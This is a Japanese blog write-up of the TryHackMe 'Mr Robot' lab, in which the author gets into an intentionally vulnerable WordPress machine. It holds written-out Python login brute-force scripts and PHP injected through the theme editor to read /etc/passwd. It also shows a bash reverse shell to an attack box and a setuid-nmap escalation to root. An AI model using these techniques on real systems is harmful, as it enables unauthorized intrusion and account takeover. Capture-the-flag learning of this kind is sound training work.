TryHackMe の Mr Robot CTF をやってみました。思ったより手こずったのと、新しく学んだテクニックやツールもあったので残しておきます。
常設CTFなのでflagそのものは記載していませんが、やった内容をそのまま書いているので再現可能かと思います。
事前準備
予めTHMとVPN接続しておきます。
問題の Start Machine
からマシンを起動し、暫く待ちます。
$ curl http://MACHINE_IP
が通るようになったら次に進みます。ちなみに、こんなかっこいいサイトが現れます。凝ってる。
Key1
Mr Robot というタイトルのマシンなので、案内されたサイトの /robots.txt
を確認してみます。
User-agent: * fsocity.dic key-1-of-3.txt
/key-1-of-3.txt
にアクセスすると、最初のkeyが得られます。
Key2
他にどんなpathで構成されているのか調べてみます。今回はTHMの他のroomで最近履修したばかりの gobuster
をkaliにinstallして使ってみました。ワードリストはcommonのやつを使います。
┌──(kali㉿kali)-[~/ctf] └─$ gobuster dir -u http://10.10.187.230 -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.187.230 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/20 01:17:10 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 213] /.htaccess (Status: 403) [Size: 218] /.htpasswd (Status: 403) [Size: 218] /0 (Status: 301) [Size: 0] [--> http://10.10.187.230/0/] /admin (Status: 301) [Size: 235] [--> http://10.10.187.230/admin/] /atom (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/atom/] /audio (Status: 301) [Size: 235] [--> http://10.10.187.230/audio/] /blog (Status: 301) [Size: 234] [--> http://10.10.187.230/blog/] /css (Status: 301) [Size: 233] [--> http://10.10.187.230/css/] /dashboard (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-admin/] /favicon.ico (Status: 200) [Size: 0] /feed (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/] /images (Status: 301) [Size: 236] [--> http://10.10.187.230/images/] /image (Status: 301) [Size: 0] [--> http://10.10.187.230/image/] /Image (Status: 301) [Size: 0] [--> http://10.10.187.230/Image/] /index.html (Status: 200) [Size: 1077] /index.php (Status: 301) [Size: 0] [--> http://10.10.187.230/] /intro (Status: 200) [Size: 516314] /js (Status: 301) [Size: 232] [--> http://10.10.187.230/js/] /license (Status: 200) [Size: 309] /login (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-login.php] /page1 (Status: 301) [Size: 0] [--> http://10.10.187.230/] /phpmyadmin (Status: 403) [Size: 94] /readme (Status: 200) [Size: 64] /rdf (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/rdf/] /robots (Status: 200) [Size: 41] /robots.txt (Status: 200) [Size: 41] /rss (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/] /rss2 (Status: 301) [Size: 0] [--> http://10.10.187.230/feed/] /sitemap (Status: 200) [Size: 0] /sitemap.xml (Status: 200) [Size: 0] /video (Status: 301) [Size: 235] [--> http://10.10.187.230/video/] /wp-admin (Status: 301) [Size: 238] [--> http://10.10.187.230/wp-admin/] /wp-content (Status: 301) [Size: 240] [--> http://10.10.187.230/wp-content/] /wp-includes (Status: 301) [Size: 241] [--> http://10.10.187.230/wp-includes/] /wp-cron (Status: 200) [Size: 0] /wp-config (Status: 200) [Size: 0] /wp-links-opml (Status: 200) [Size: 227] /wp-load (Status: 200) [Size: 0] /wp-login (Status: 200) [Size: 2613] /wp-mail (Status: 500) [Size: 3064] /wp-settings (Status: 500) [Size: 0] /wp-signup (Status: 302) [Size: 0] [--> http://10.10.187.230/wp-login.php?action=register] /xmlrpc (Status: 405) [Size: 42] /xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/01/20 01:54:06 Finished ===============================================================
どうやらWordPressで構築されているようで、いくつかのページに行こうとするとWordPressのログインページに飛ばされます。
このページ、UsernameとPasswordを入れてログインしようとすると、UsernameがDBになかった場合に Invalid username.
と返してくれます。親切!
そういえば先程の robot.txt サイトより、wordlistっぽいものを入手しました(fsocity.dic
)。
ぱっと見た感じ、行数がやたら多いけれど重複も多そうなので、入手したリストを sort
uniq
してユニークリストにしておきます。
この中にWordPress用のログインユーザーとパスワードがあることを期待しつつ、まずは先程の Invalid username.
と返してくれる機能を利用してUsernameを割り出してみます。
import requests host = '10.10.205.83' url = 'http://' + host + '/wp-login.php' def attack(s, url, user): payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'} res = s.post(url, data=payload) if 'Invalid username.' in res.text: return False return True with open('unique.txt', 'r') as f: wordlist = f.readlines() s = requests.Session() s.get(url) for w in wordlist: w = w.strip() if attack(s, url, w): print(w) break else: continue
実行結果
$ python attack.py elliot
お、出ました。同様にして、Passwordもブルートフォースしてみます。
import requests host = '10.10.205.83' url = 'http://' + host + '/wp-login.php' def attack(s, url, pwd): payload = {'log': 'elliot', 'pwd': pwd, 'wp-submit': 'Log In'} res = s.post(url, data=payload) if 'ERROR' in res.text: return False return True with open('unique.txt', 'r') as f: wordlist = f.readlines() s = requests.Session() s.get(url) for w in wordlist: w = w.strip() if attack(s, url, w): print(w) break else: continue
実行結果
$ python attack.py ER28-****
やった!当たりました!(passwordの最後は伏せ字にしてあります。)
この情報でWordPressの管理画面にログインしてみます。
Dashboardが表示されました。が、機能が多すぎてどこを見ていいかわからない…。
とりあえず色々つついて回って、ブログのタイトル部にXSSが有効、ページの書き換え機能がが使えそう、...etcを発見。
Appearance
> Editor
で、phpソースを書き換えられるやつが使い勝手が良さそうなので、これを使ってみることにしました。一番上の404.php
や、author-bio.php
など使いやすそうなページが編集可能。
試しに 404.php
を下記のように変更してみます。
<?php $page = file_get_contents('/etc/passwd'); echo $page ?>
/404.php
にアクセスしてみると
これは使えそう。ではkey2を探してみます。以下、/404.php
を書き換え → 表示してみた結果。
<?php foreach(glob('./*') as $file){ if(is_file($file)){ echo htmlspecialchars($file); } } ?>
結果
./fsocity.dic./index.html./index.php./intro.webm./key-1-of-3.txt./license.bk./license.txt./readme.html./robots.txt./sitemap.xml./sitemap.xml.gz./wp-activate.php./wp-blog-header.php./wp-comments-post.php./wp-config.php./wp-cron.php./wp-links-opml.php./wp-load.php./wp-login.php./wp-mail.php./wp-settings.php./wp-signup.php./wp-trackback.php./xmlrpc.php./you-will-never-guess-this-file-name.txt
最後のファイルが気になる…。このファイルの中身を、/etc/passwd
のときと同じ方法で取得してみると
hello there person who found me.
えー!そんだけー!?関係なさそう。
今度はdirectoryを探索してみます。
<?php $dir = "/"; $arr = scandir($dir); foreach ($arr as $value) { echo $value."<br>"; }
結果
. .. bin boot dev etc home initrd.img lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz
$dir
を /home/
に変更して再度取得。
. .. robot
お、robot
がいます。この配下のファイルを見てみます。
<?php foreach(glob('/home/robot/*') as $file){ if(is_file($file)){ echo htmlspecialchars($file); } } ?>
結果
/home/robot/key-2-of-3.txt /home/robot/password.raw-md5
key-2-of-3.txt
は開けず。password.raw-md5
はこんな中身。
robot:c3fcd3d76192e4007dfb496cca67e13b
これはパスワードのmd5hashっぽい。
HashCrackのオンラインサービスでクラックしてもらいました。
robotのパスワードは abcdefghijklmnopqrstuvwxyz
のようです。
どうも次は robot のユーザーに昇格するっぽいぞ。
このまま、phpコード改ざんで権限昇格とかできないかやってみたけれどできず。仕方がないので最終手段、リバースシェルを張ることに。自分の過去記事を見ながら。
THM の Attack Boxを立てて、そのIP(このときは10.10.138.217
)をリバースシェルの受け側に設定します。下記が編集後の404.php
。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.138.217/8000 0>&1'");?>
AttackBox側で nc -nvlp 8000
して待っておき、/404.php
にアクセスするとAttackBox側に制御が飛んできました。
が、ここで su
を実行しようとすると怒られてしまいます。
daemon@linux:/home/robot$ su robot
su robot
su: must be run from a terminal
調べてみると、こちらのページがヒット。
なるほど、ttyを与えられない状態でシェルをとってしまった状態なのか。ということで、ここで紹介されているttyシェルを起動するコマンド一覧から、一番上にあるやつを使ってみます。
daemon@linux:/home/robot$ python -c 'import pty; pty.spawn("/bin/sh")' <pps/wordpress/htdocs$ python -c 'import pty; pty.sp awn("/bin/sh")' $ su - robot su - robot Password: abcdefghijklmnopqrstuvwxyz $ whoami whoami robot
おー!robotユーザーに昇格できたっぽい。
あとは目的のファイル /home/robot/key-2-of-3.txt
を開くだけ。
ちなみに、Key3がわからずさまよっているときに、gobusterで出てきたとあるページを見てみると、そこに Wordpressのログイン用ユーザーとパスワードがbase64 encodeで書いてあった…。ブルートフォース必要なかったんや…。そしてヒントの "White coloured font" の使い道がいまいちわからないままであった。
Key3
3つ目のkeyのヒントは nmap
。上記のshell上でnmapを使ってみたりしたけれども、特に進展なし。
ちょっとハマってしまったので一旦クールダウン。
nmap ctf root
とかでググっていると、下記のページを発見。
Linux Privilege Escalation with Setuid and Nmap
なんと、nmap
のinteractive機能を利用してrootに昇格できるケースがあるらしい。今回これが使えるか調べてみます。
$ find / -user root -perm -4000 -exec ls -la {} \; 2>&1 | grep -v 'Permission denied' | grep nmap <4000 -exec ls -la {} \; 2>&1 | grep -v 'Permission denied' | grep nmap -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
見つかりました!使えそう。
$ nmap --interactive nmap --interactive Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !whoami !whoami root waiting to reap child : No child processes nmap> !sh !sh # # whoami whoami root
これでrootに昇格できました!あとは、権限不足で確認できていなかったディレクトリやファイルを見ていきます。
# cd /root cd /root # ls ls firstboot_done key-3-of-3.txt # cat key-3-of-3.txt (...omit...)
/root
に3つめのkeyがおいてありました👍
感想
最初の問題とRoomのタイトルから、かなり低難易度の問題かと思ってたら全然そんなことなくてびっくりした。ちゃちゃっと終わらせる予定が数日かかってしまった。writeupも書くつもり無かったけど、メモしないと細切れの時間で取り組めないレベルだったのでメモついでにwriteupが完成してしまった。
特にkey3で使ったテクニックは、今回調べるまで全く知らなかったので面白かった。THM始めてからnmapや他のscanツールをよく使うようになったので、少し幅が広がった気がして楽しい。
まだまだTryHackMeは初心者だけど、THMはAttackboxが用意されているのでリバースシェルが気軽に張れてよかった。いつも環境を用意するのが面倒&IP晒したくないのでリバースシェルは極力やらないようにしているのだけど、環境が用意されているのはありがたい。